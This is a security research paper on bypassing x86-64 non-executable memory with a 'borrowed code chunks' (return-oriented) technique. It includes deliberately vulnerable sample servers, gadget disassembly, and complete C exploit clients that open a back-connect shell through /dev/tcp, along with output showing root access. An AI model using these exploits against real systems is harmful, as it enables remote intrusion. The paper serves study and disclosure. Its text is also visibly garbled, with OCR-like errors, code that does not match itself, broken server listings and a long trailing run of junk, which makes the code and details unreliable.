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Abstract

The x86-64 CPU platform (i.e. AMD64 or Hammer) introduces new features to protect against exploitation of buffer overflows, the so called No Execute (NX) or Advanced Virus Protection (AVP). This non-executable enforcement of data pages and the ELF64 SystemV ABI render common buffer overflow exploitation techniques useless. This paper describes and analyzes the protection mechanisms in depth. Research and target platform was a SUSE Linux 9.3 x86-64 system but the results can be expanded to non-Linux systems as well. search engine tag: SET-krahmer-bccet-2005.
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1 Preface

Before you read this paper please be sure you properly understand how buffer overflows work in general or how the return into libc trick works. It would be too much workload for me to explain it again in this paper. Please see the references section to find links to a description for buffer overflow and return into libc exploitation techniques.

2 Introduction

In recent years many security relevant programs suffered from buffer overflow vulnerabilities. A lot of intrusions happen due to buffer overflow exploits, if not even most of them. Historically x86 CPUs suffered from the fact that data pages could not only be readable OR executable. If the read bit was set this page was executable too. That was fundamental for the common buffer overflow exploits to function since the so called shellcode was actually data delivered to the program. If this data would be placed in a readable but non-executable page, it could still overflow internal buffers but it won’t be possible to get it to execute. Demanding for such a mechanism the PaX kernel patch introduced a workaround for this r-means-x problem [7]. Todays CPUs (AMD64 as well as newer x86 CPUs) however offer a solution in-house. They enforce the missing execution bit even if a page is readable, unlike recent x86 CPUs did. From the exploiting perspective this completely destroys the common buffer overflow technique since the attacker is not able to get execution to his shellcode anymore. Why return-into-libc also fails is explained within the next sections.

3 ELF64 layout and x86-64 execution mode

On the Linux x86-64 system the CPU is switched into the so called long mode. Stack wideness is 64 bit, the GPR registers also carry 64 bit values and the address size is 64 bit as well. The non executable bit is enforced if the Operating System sets proper page protections.

```
linux:~ # cat
[1]+ Stopped cat
linux:~ # ps aux | grep cat
root 13569 0.0 0.1 3680 600 pts/2 T 15:01 0:00 cat
root 13571 0.0 0.1 3784 752 pts/2 R+ 15:01 0:00 grep cat
linux:~ # cat /proc/13569/maps
00400000-00405000 r-xp 00000000 03:06 23635 /bin/cat
00504000-00505000 r-xp 00000000 03:06 23635 /bin/cat
00505000-00516000 r-xp 00000000 00:00 0
2aaaaaaab000-2aaaaaaca000 r-xp 00000000 03:06 12568 /lib64/ld-2.3.4.so
2aaaaaacb000-2aaaaaacc000 r-xp 00000000 03:06 13442 /usr/lib64/ld-2.3.4.so
```
As can be seen the .data section is mapped RW and the .text section with RX permissions. Shared libraries are loaded into RX protected pages, too. The stack got a new section in the newer ELF64 binaries and is mapped at address \texttt{0x7ffffffeb000} with RW protection bits in this example.

On older Linux kernels the stack had no own section within the ELF binary since it was not possible to enforce read-no-execute anyways. As can be seen by the \texttt{maps} file of the \texttt{cat} process, there is no page an attacker could potentially place his shellcode and where he can jump into afterwards. All pages are either not writable, so no way to put shellcode there, or if they are writable they are not executable.

It is not entirely new to the exploit coders that there is no way to put code into the program or at least to transfer control to it. For that reason two techniques called return-into-libc \cite{5} and advanced-return-into-libc \cite{4} have been developed. This allowed to bypass the PaX protection scheme in certain cases, if the application to be exploited gave conditions to use that technique.\footnote{Address Space Layout Randomization for example could make things more difficult or the overall behavior of the program, however there are techniques to bypass ASLR as well.} However this technique works only on recent x86
CPUs and NOT on the x86-64 architecture since the ELF64 SystemV ABI specifies that function call parameters are passed within registers\(^2\). The return-into-libc trick requires that arguments to e.g. `system(3)` are passed on the stack since you build a fake stack-frame for a fake `system(3)` function call. If the argument of `system(3)` has to be passed into the `%rdi` register, the return-into-libc fails or executes junk which is not under control of the attacker.

### 4 The borrowed code chunks technique

Since neither the common nor the return-into-libc way works we need to develop another technique which I call the borrowed code chunks technique. You will see why this name makes sense.

As with the return-into-libc technique this will focus on stack based overflows. But notice that heap based overflows or format bugs can often be mapped to stack based overflows since one can write arbitrary data to an arbitrary location which can also be the stack.

This sample program is used to explain how even in this restricted environment arbitrary code can be executed.

```c
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/mman.h>

void die(const char *s)
{
  perror(s);
  exit(errno);
}

int handle_connection(int fd)
{
  char buf[1024];
  write(fd, "OF Server 1.0\n", 14);
  read(fd, buf, 4*sizeof(buf));
  write(fd, "OK\n", 3);
  return 0;
}

void sigchld(int x)
{
  while (waitpid(-1, NULL, WNOHANG) != -1);
}

int main()
{
  int sock = -1, afd = -1;
  struct sockaddr_in sin;
  
  return 0;
}
```

\(^2\) The first 6 integer arguments, so this affects us.
4 THE BORROWED CODE CHUNKS TECHNIQUE

```c
33 int one = 1;
34 printf("\%p system=\%p mmap=\%p\n", &sock, system, mmap);
35 if (!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
36 die("socket");
37 memset(&sin, 0, sizeof(sin));
38 sin.sin_family = AF_INET;
39 sin.sin_port = htons(1234);
40 sin.sin_addr.s_addr = INADDR_ANY;
41 setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
42 if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
43 die("bind");
44 if (listen(sock, 10) < 0)
45 die("listen");
46 signal(SIGCHLD, sigchld);
47 for (;;) {
48 if ((afd = accept(sock, NULL, 0)) < 0 && errno != EINTR)
49 die("accept");
50 if (afd < 0)
51 continue;
52 if (fork() == 0) {
53 handle_connection(afd);
54 exit(0);
55 }
56 close(afd);
57 }
58 return 0;
59 }
```

Obviously a overflow happens at line 21. Keep in mind, even if we are able to overwrite the return address and to place a shellcode into *buf*, we can’t execute it since page permissions forbid it. We can’t use the *return-into-libc* trick either since the function we want to ”call” e.g. *system(3)* expects the argument in the %rdi register. Since there is no chance to transfer execution fbw to our own instructions due to restricted page permissions we have to find a way to transfer arbitrary values into registers so that we could finally jump into *system(3)* with proper arguments. Lets analyze the server binary at assembly level:

```
0x0000000000400a40 <handle_connection+0>: push %rbx
0x0000000000400a41 <handle_connection+1>: mov $0xe,%edx
0x0000000000400a46 <handle_connection+6>: mov %edi,%edx
0x0000000000400a48 <handle_connection+8>: mov $0x400d0c,%esi
0x0000000000400a4d <handle_connection+13>: sub $0x400,%rsp
0x0000000000400a54 <handle_connection+20>: callq 0x400868 <_init+104>
0x0000000000400a59 <handle_connection+25>: mov %rsp,%rsi
0x0000000000400a5c <handle_connection+28>: mov %edi,%edi
0x0000000000400a5e <handle_connection+30>: mov $0x800,%edx
0x0000000000400a63 <handle_connection+35>: callq 0x400848 <_init+72>
0x0000000000400a68 <handle_connection+40>: mov %edi,%edi
0x0000000000400a6a <handle_connection+42>: mov $0x800,%edx
0x0000000000400a6e <handle_connection+47>: mov $0x400d1b,%esi
0x0000000000400a74 <handle_connection+52>: callq 0x4009f4 <__libc_start_main+26930>
0x0000000000400a79 <handle_connection+57>: add $0x800,%edi
0x0000000000400a80 <handle_connection+64>: xor %edi,%edi
0x0000000000400a82 <handle_connection+66>: pop %rbx
0x0000000000400a83 <handle_connection+67>: retq
```

All we control when the overflow happens is the content on the stack. At address 0x00000000000400a82 we see

```
0x00000000000400a82 <handle_connection+66>: pop %rbx
0x00000000000400a83 <handle_connection+67>: retq
```

We can control content of register %rbx, too. Might it be possible that %rbx is moved to %rdi somewhere? Probably, but the problem is that the
instructions which actually do this have to be prefix of a \texttt{retq} instruction since after $%rdi$ has been properly filled with the address of the \texttt{system(3)} argument this function has to be called. Every single instruction between filling $%rdi$ with the right value and the \texttt{retq} raises the probability that this content is destroyed or the code accesses invalid memory and segfaults. After an overflow we are not in a very stable program state at all. Lets see which maybe interesting instructions are a prefix of a \texttt{retq}.

```
0x00002aaaaac7b632 <sysctl+130>: mov 0x68(%rsp),%rbx
0x00002aaaaac7b637 <sysctl+135>: mov 0x70(%rsp),%rbp
0x00002aaaaac7b641 <sysctl+140>: mov 0x78(%rsp),%r12
0x00002aaaaac7b644 <sysctl+143>: mov 0x78(%rsp),%r13
0x00002aaaaac7b651 <sysctl+150>: mov 0x80(%rsp),%r15
0x00002aaaaac7b659 <sysctl+158>: add 0x88,%rsp
0x00002aaaaac7b660 <sysctl+169>: retq
```

Interesting. This lets us fill $%rbx$, $%rbp$, $%r12$..$%r15$. But useless for our purpose. It might help if one of these registers is moved to $%rdi$ somewhere else though.

```
0x00002aaaaac50bf4 <setuid+52>: mov %rsp,%rdi
0x00002aaaaac50bf7 <setuid+55>: callq *%eax
```

We can move content of $%rsp$ to $%rdi$. If we wind up $%rsp$ to the right position this is a way to go. Hence, we would need to fill $%eax$ with the address of \texttt{system(3)}...

```
0x00002aaaaac743d5 <ulimit+133>: mov %rbx,%rax
0x00002aaaaac743d8 <ulimit+136>: add $0xe0,%rsp
0x00002aaaaac743df <ulimit+143>: pop %rbx
0x00002aaaaac743e0 <ulimit+144>: retq
```

Since we control $%rbx$ from the \texttt{handle_connection()} outro we can fill $%rax$ with arbitrary values too. $%rdi$ will be filled with a stack address where we put the argument to \texttt{system(3)} to. Just lets reassemble which code snippets we \textit{borrowed} from the \texttt{server} binary and in which order they are executed:

```
0x00002aaaaac743d5 <ulimit+133>: mov %rbx,%rax
0x00002aaaaac743d8 <ulimit+136>: add $0xe0,%rsp
0x00002aaaaac743df <ulimit+143>: pop %rbx
0x00002aaaaac743e0 <ulimit+144>: retq
0x00002aaaaac50bf4 <setuid+52>: mov %rsp,%rdi
0x00002aaaaac50bf7 <setuid+55>: callq *%eax
```

The \texttt{retq} instructions actually chain the code chunks together (we control the stack!) so you can skip it while reading the code. Virtually, since we control the stack, the following code gets executed:

```
pop %rbx
mov %rbx,%rax
add $0xe0,%rsp
pop %rbx
mov %rsp,%rdi
callq *%eax
```
5  AND DOES THIS REALLY WORK?

That’s an instruction sequence which fills all the registers we need with values controlled by the attacker. This code snippet will actually be a call to `system("sh < /dev/tcp/127.0.0.1/3128 > /dev/tcp/127.0.0.1/8080")` which is a back-connect shellcode.

5  And does this really work?

Yes. Client and server program can be found at [10] so you can test it yourself. If you use a different target platform than mine you might have to adjust the addresses for the libc functions and the borrowed instructions. Also, the client program wants to be compiled on a 64 bit machine since otherwise the compiler complains on too large integer values.

```c
void exploit(const char *host) {
  int sock = -1;
  char trigger[4096];
  size_t tlen = sizeof(trigger);
  struct t_stack {
    char buf[1024];
    u_int64_t rbx; // to be moved to %rax to be called as *eax = system();
    // 0x0000000000400a82 <handle_connection+66>: pop %rbx
    // 0x0000000000400a83 <handle_connection+67>: retq
    u_int64_t ulimit_133; // to call:
    // 0x00002aaaaac743d5 <ulimit+133>: mov %rbx,%rax
    // 0x00002aaaaac743d8 <ulimit+136>: add $0xe0,%rsp
    // 0x00002aaaaac743df <ulimit+143>: pop %rbx
    // 0x00002aaaaac743e0 <ulimit+144>: retq
    // to yield %rbx in %rax
    char rsp_off[0xe0 + 8]; // 0xe0 is added and one pop
    u_int64_t setuid_52; // to call:
    // 0x00002aaaaac50bf4 <setuid+52>: mov %rsp,%rdi
    // 0x00002aaaaac50bf7 <setuid+55>: callq *%eax
    char system[512]; // system() argument has to be *here*
  } __attribute__ ((packed)) server_stack;
  char *cmd = "sh < /dev/tcp/127.0.0.1/3128 > /dev/tcp/127.0.0.1/8080;";
  //char nop = ";";
  memset(server_stack.buf, 'X', sizeof(server_stack.buf));
  server_stack.rbx = 0x00002aaaaabf290;
  server_stack.ulimit_133 = 0x00002aaaaac743d5;
  memset(server_stack.rsp_off, 'A', sizeof(server_stack.rsp_off));
  server_stack.setuid_52 = 0x00002aaaaac50bf4;
  memset(server_stack.system, 0, sizeof(server_stack.system)-1);
  assert(strlen(cmd) < sizeof(server_stack.system));
  strcpy(server_stack.system, cmd);
  if ((sock = tcp_connect(host, 1234)) < 0)
    die("tcp_connect");
  read(sock, trigger, sizeof(trigger));
  assert(tlen > sizeof(server_stack));
  memcpy(trigger, server_stack, sizeof(server_stack));
  write(sock, trigger, tlen);
  usleep(1000);
  read(sock, trigger, 1);
  close(sock);
}
```

To make it clear, this is a remote exploit for the sample overflow server, not just some local theoretical proof of concept that some instructions can be executed. The attacker will get full shell access.
6 Single write exploits

The last sections focused on stack based overflows and how to exploit them. I already mentioned that heap based buffer overflows or format string bugs can be mapped to stack based overflows in most cases. To demonstrate this, I wrote a second overflow server which basically allows you to write an arbitrary (64-bit) value to an arbitrary (64-bit) address. This scenario is what happens under the hood of a so called malloc exploit or format string exploit. Due to overwriting of internal memory control structures it allows the attacker to write arbitrary content to an arbitrary address. A in depth description of the malloc exploiting techniques can be found in [8].

```c
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/mman.h>

void die(const char *s)
{
    perror(s);
    exit(errno);
}

int handle_connection(int fd)
{
    char buf[1024];
    size_t val1, val2;
    write(fd, "OF Server 1.0\n", 14);
    read(fd, buf, sizeof(buf));
    write(fd, "OK\n", 3);
    read(fd, &val1, sizeof(val1));
    read(fd, &val2, sizeof(val2));
    *(size_t*)val1 = val2;
    write(fd, "OK\n", 3);
    return 0;
}

void sigchld(int x)
{
    while (waitpid(-1, NULL, WNOHANG) != -1);
}

int main()
{
    int sock = -1, afd = -1;
    struct sockaddr_in sin;
    int one = 1;
    printf("sock = %p system=%p mmap=%p\n", &sock, system, mmap);
    if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
        die("socket");
    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(1234);
    sin.sin_addr.s_addr = INADDR_ANY;
    if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        die("bind");
    if (listen(sock, 8) < 0)
        die("listen");
    while (1)
    {
        if (accept(sock, (struct sockaddr *)&sin, &sinlen) < 0)
            die("accept");
        if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
            die("socket");
        memmove(&sin, 0, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_port = htons(1234);
        sin.sin_addr.s_addr = INADDR_ANY;
        if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
            die("bind");
        if (listen(sock, 8) < 0)
            die("listen");
        while (1)
        {
            if (accept(sock, (struct sockaddr *)&sin, &sinlen) < 0)
                die("accept");
        }
    }
}
```
An exploiting client has to fill val1 and val2 with proper values. Most of the time the Global Offset Table \textit{GOT} is the place of choice to write values to. A disassembly of the new \textit{server2} binary shows why.

When \textit{write()} is called, transfer is controlled to the \textit{write()} entry in the Procedure Linkage Table \textit{PLT}. This is due to the position independent code, please see [2]. The code looks up the real address to jump to from the \textit{GOT}. The slot which holds the address of glibc’s \textit{write()} is at address 0x5011f8. If we fill this address with an address of our own, control is transferred there. However, we again face the problem that we can not execute any shellcode due to restrictive page protections. We have to use the code \textit{chunks borrow technique} in some variant. The trick is here to shift the stack frame upwards to a stack location where we control the content. This location is \textit{buf} in this example but in a real server it could be some other buffer some functions upwards in the calling chain as well. Basically the same technique called \textit{stack pointer lifting} was described in [5] but this time we use it to not exploit a stack based overflow but a single-write failure. How can we lift the stack pointer? By jumping in a appropriate function outro. We just have to find out how many bytes the stack pointer has to be lifted. If I calculate correctly it has to be at least two 64-bit values (val1 and val2) plus a saved return address from the write call = 3*\text{sizeof}(u_{\text{int64}}) = 3*8 = 24 \text{ Bytes}. At least. Then \%rsp points directly into \textit{buf} which is under control of the attacker and the game starts again.

Some code snippets from \textit{glibc} which shows that \%rsp can be lifted at almost arbitrary amounts:
The last code chunk fits perfectly in our needs since it lifts the stack pointer by exactly 24 Bytes. So the value we write to the address 0x5011f8 ³ is 0x00002aaaaac1a90a. When lifting is done, %rsp points to buf, and we can re-use the addresses and values from the other exploit.

³The GOT entry we want to modify.

```c
1 void exploit(const char *host)
2 {
3     int sock = -1;
4     char trigger[1024];
5     size_t tlen = sizeof(trigger), val1, val2;
6     struct t_stack {
7         u_int64_t ulimit_143; // stack lifting from modified GOT pops this into %rip
8         u_int64_t rbx; // to be moved to %rax to be called as *eax = system():
9             // 0x00002aaaaac743df <ulimit+143>: pop %rbx
10            // 0x00002aaaaac743e0 <ulimit+144>: retq
11     } __attribute__ ((packed)) server_stack;
12     char *cmd = "sh < /dev/tcp/127.0.0.1/3128 > /dev/tcp/127.0.0.1/8080;";
13     server_stack.ulimit_143 = 0x00002aaaaac1a90a;
14     server_stack.rbx = 0x00002aaaaabfb290;
15     memset(server_stack.rsp_off, 'A', sizeof(server_stack.rsp_off));
16     server_stack.setuid_52 = 0x00002aaaaac50bf4;
17     memset(server_stack.system, 0, sizeof(server_stack.system)-1);
18     assert(strlen(cmd) < sizeof(server_stack.system));
19     strcpy(server_stack.system, cmd);
20     if ((sock = tcp_connect(host, 1234)) < 0)
21         die("tcp_connect");
```
6 SINGLE WRITE EXPLOITS

```c
34    read(sock, trigger, sizeof(trigger));
35    assert(tlen > sizeof(server_stack));
36    memcpy(trigger, &server_stack, sizeof(server_stack));
37    writen(sock, trigger, tlen);
38    usleep(1000);
39    read(sock, trigger, 3);
40    // 0000000000400868 <write@plt>:
41    // 400868: ff 25 8a 09 10 00 jmpq *1051018(%rip) # 5011f8 <GLOBAL_OFFSET_TABLE>+0x38>
42    // 40086e: 68 04 00 00 00 pushq 5008
43    // 400873: w9 a0 ff ff ff jmpq 400818 <_init+0x18>
44    val1 = 0x5011f8;
45    val2 = 0x00002aaaaac1a90a; // stack lifting from funlockfile+298
46    writen(sock, &val1, sizeof(val1));
47    writen(sock, &val2, sizeof(val2));
48    sleep(10);
49    read(sock, trigger, 3);
50    close(sock);
51 }
```

The code which gets executed is (retq omitted):

```assembly
add 50x8, trsp
pop %rbx
pop %rbp
pop %rbx
mov %rbx, %rax
add 50x8, trsp
pop %rbx
mov %rbx, %rdi
callq *%rax
```

That's very similar to the first exploiting function except the stack has to be lifted to the appropriate location. The first three instructions are responsible for this. The exploit works also without brute forcing and it works very well:

```
linux: $ ./client2
Connected!
```

```
Connected!
Linux linux 2.6.11.4-20a-default #1 Wed Mar 23 21:52:37 UTC 2005 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
11:04:39 up 2:23, 5 users, load average: 0.36, 0.18, 0.06
```

```
USER   TTY     LOGIN@   IDLE JCPU  PCPU WHAT
root   tty1    08:42   3.00s 0.11s 0.00s /usr/bin
user   tty2    08:42   0.00s 0.31s 0.01s login - user
user   tty3    08:43   0.11s 0.11s 0.11s -bash
user   tty4    08:01   6:11  0.29m 0.29m -bash
user   tty5    10:04   51:08 0.07s 0.07s /bash
```

7 Automated exploitation

During the last sections it was obvious that the described technique is very powerful and it is easily possible to bypass the buffer overflow protection based on the R/X splitting. Nevertheless it is a bit of a hassle to walk through the target code and search for proper instructions to build up a somewhat useful code chain. It would be much easier if something like a special shellcode compiler would search the address space and build a fake stack which has all the code chunks and symbols already resolved and which can be imported by the exploit.

The ABI says that the first six integer arguments are passed within the registers %rdi, %rsi, %rdx, %rcx, %r8, %r9 in that order. So we have to search for these instructions which do not need to be placed on instruction boundary but can be located somewhere within an executable page.

Lets have a look at the opcodes of the code chunks we need at figure 1.

As can be seen, the four most important chunks have only a length of two byte. The library calls attackers commonly need do not have more than three arguments in most cases. Chances to find these two-byte chunks within libc or other loaded libraries of the target program are very high.
A stack frame for a library call with three arguments assembled with borrowed code chunks is shown in figure 2. & is the address operator as known from the C programming language. Keep in mind: arguments to function() are passed within the registers. The arguments on the stack are popped into the registers by placing the addresses of the appropriate code chunks on the stack. Such one block will execute function() and can be chained with other blocks to execute more than one function. A small tool which builds such stack frames from a special input language is available at [10].

The calls file is written in that special language and tells the chunk com-
piler to build a stack frame which, if placed appropriately on the vulnerable server program, calls the function sequence of

```c
setuid(0);
fork();
setresuid(1,2,3);
close(42);
exit(1);
```

just to demonstrate that things work. These are actually calls to libc functions. These are not direct calls to system-calls via the SYSCALL instruction. The order of arguments is PASCAL-style within the chunk-compiler language, e.g. the first argument comes first. The important output is the u_int64_t chunks[] array which can be used right away to exploit the process which it was given via the -p switch. This was the PID of the server process in this example. The array can be cut&pasted to the exploit() function:

```c
void exploit(const char *host)
{
  int sock = -1;
  char trigger[4096];
  size_t tlen = sizeof(trigger);
  struct t_stack {
    char buf[1024];
    u_int64_t rbx;
    u_int64_t code[17];
  } __attribute__ ((packed)) server_stack;
  u_int64_t chunks[] = {
    0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
    0x0,
    0x2aaaaac50bc0, // setuid
    0x2aaaaac4fdd0, // fork
    0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
    0x1,
    0x2aaaaac860f5, // pop %rdx; retq,/lib64/tls/libc.so.6
    0x3,
    0x2aaaaac50e60, // setresuid
    0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
    0x2a,
    0x2aaaaac6ed00, // close
    0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
    0x1,
    0x2aaaaabf2610, // exit
  };
  memset(server_stack.buf, 'X', sizeof(server_stack.buf));
  server_stack.rbx = 0x00002aaaaabf290;
  memcpy(server_stack.code, chunks, sizeof(server_stack.code));
  if ((sock = tcp_connect(host, 1234)) < 0)
    die("tcp_connect");
  read(sock, trigger, sizeof(trigger));
  assert(tlen > sizeof(server_stack));
  memcpy(trigger, &server_stack, sizeof(server_stack));
  write(sock, trigger, tlen);
  usleep(1000);
  read(sock, trigger, 1);
  close(sock);
}
```
When running the exploit client-automatic, an attached `strace` shows that the right functions are executed in the right order. This time the system-calls are actually shown in the trace-log but thats OK since the triggered `libc` calls will eventually call the corresponding system calls.

```
linux:~ # strace -i -f -p 7020
Process 7020 attached - interrupt to quit
{ 2aaasad57d72} accept(3, 0, NULL) = 4
{ 2aaasad5f4eb} clone(Process 7227 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaaade8b90) = 7227
[pid 7227] { 2aaasad6ed12} close(4) = 0
[pid 7227] { 2aaasad6ed12} accept(3, <unfinished ...>
[pid 7227] { 2aaasad6ed12} write(4, "OF Server 1.0\n", 14) = 14
[pid 7227] { 2aaasad6ed12} read(4, "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX...", 4096) = 4096
[pid 7227] { 2aaasad6ed12} write(4, "OK\n", 3) = 3
[pid 7227] { 2aaasad5dde0} setuid(0) = 0
[pid 7227] { 2aaasad5e4eb} clone(Process 7228 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaaade8b90) = 7228
[pid 7227] { 2aaasad5e7d} setresuid(1, 2, 3) = 0
[pid 7227] { 2aaasad6ed12} close(42) = -1 EBADF (Bad file descriptor)
[pid 7227] { 2aaasad5de0} munmap(0x2aaaaaac2000, 4096) = 0
[pid 7227] { 2aaasad5e0f} exit_group(1) = ?
Process 7227 detached
[pid 7228] { 2aaasad7bd2} <... accept resumed> 0, NULL) = ? ERESTARTSYS (To be restarted)
[pid 7220] { 2aaasad7bd2} --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 7220] { 2aaasad7bd2} --- SIGCHLD (Child exited) 0 0 (0) ---
[pid 7220] { 2aaasad6f0d} wait4(-1, NULL, WNOHANG, NULL) = 7228
[pid 7220] { 2aaasad6f0d} wait4(-1, NULL, WNOHANG, NULL) = -1 ECWDLD (No child processes)
[pid 7228] { 2aaasad6f09} setpgrp(58fffffffffffffff) = 43
[pid 7220] { 2aaasad7bd2} accept(3, <unfinished ...>
[pid 7228] { 2aaasad5e4eb} clone(Process 7228 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaaade8b90) = 7228
[pid 7228] { 2aaasad5e7d} setresuid(1, 2, 3) = 0
[pid 7228] { 2aaasad5e7d} close(42) = -1 EBADF (Bad file descriptor)
[pid 7228] { 2aaasad5de0} munmap(0x2aaaaaac2000, 4096) = 0
[pid 7228] { 2aaasad5e0f} exit_group(1) = ?
Process 7228 detached
```

Everything worked as expected, even the `fork(2)` which can be seen by the the spawned process. I don’t want to hide the fact that all the exploits send 0-bytes across the wire. If the target process introduces `strcpy(3)` calls this might be problematic since 0 is the string terminator. However, deeper research might allow to remove the 0-bytes and most overflows today don’t happen anymore due to stupid `strcpy(3)` calls. Indeed even most of them accept 0 bytes since most overflows happen due to integer miscalculation of length fields today.

Eventually we want to generate a shellcode which executes a shell. We still use the same vulnerable `server` program. But this time we generate a stack which also calls the `system(3)` function instead of the dummy calls from the last example. To show that its still a calling sequence and not just a single function call, the UID is set to the `wwwrun` user via the `setuid(3)` function call. The problem with a call to `system(3)` is that it expects a pointer argument. The code generator however is not clever enough \(^4\) to find out where the command is located. Thats why we need to brute force the argument for `system(3)` within the exploit. As with common old-school exploits, we can use NOP’s to increase the steps during brute force. We know that the command string is located on the stack. The space character ‘ ‘ serves very well as a NOP since our NOP will be a NOP to the `system(3)` argument, e.g. we can pass "/bin/sh" or " /bin/sh" to `system(3)`.

\(^4\)Not yet clever enough. It is however possible to use `ptrace(2)` to look for the address of certain strings in the target process address space.
The fourth entry of the chunks[] array has to hold the address of the command and has to be brute forced. The exploit function looks like this:

```c
void exploit(const char *host) {
    int sock = -1;
    char trigger[4096];
    size_t tlen = sizeof(trigger);
    struct t_stack {
        char buf[1024];
        u_int64_t rbx;
        u_int64_t code[6];
        char cmd[512];
    } __attribute__ ((packed)) server_stack;
    u_int64_t chunks[] = {
        0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
        0x1e,
        0x2aaaaac50bc0, // setuid
        0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
        0, // to be brute forced
        0x2aaaaabfb290, // system
    };
    u_int64_t stack;
    char *cmd = "sh /dev/tcp/127.0.0.1/3128 > /dev/tcp/127.0.0.1/8080;";
    memset(server_stack.buf, 'X', sizeof(server_stack.buf));
    server_stack.rbx = 0x00002aaaaabfb290;
    strcpy(server_stack.cmd, cmd);
    if ((stack = tcp_connect(host, 1234)) < 0) {
        die("tcp_connect");
    }
    for (stack = 0x7ffffffeb000; stack < 0x800000000000; stack += 70) {
        chunks[4] = stack;
        memcpy(server_stack.code, chunks, sizeof(server_stack.code));
        if (!connect(stack, tcp_connect(host, 1234)) < 0) {
            die("connect");
        }
    }
}
```
8 RELATED WORK

The whole technique is probably not entirely new. Some similar work but without automatic stack-frame generation has been done in [9] for the SPARC CPU which I was pointed to after a preview of this paper. I also want to point you again to the return-into-libc technique at [4], [5] and [6] because this is the sister of the technique described in this paper.

Due to the brute forcing of the system(3) argument this time, the server executes a lot of junk until the right address is hit:

```
sock = 0x7fffffff60fc system=0x400938 mmap=0x400928
sh: : command not found
sh: h: command not found
sh: -: line 0: syntax error near unexpected token 'newline'
sh: -: line 0: ''
sh: : command not found
sh: *: command not found
sh: : command not found
sh: : command not found
sh: : command not found
sh: X*: command not found
sh: Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx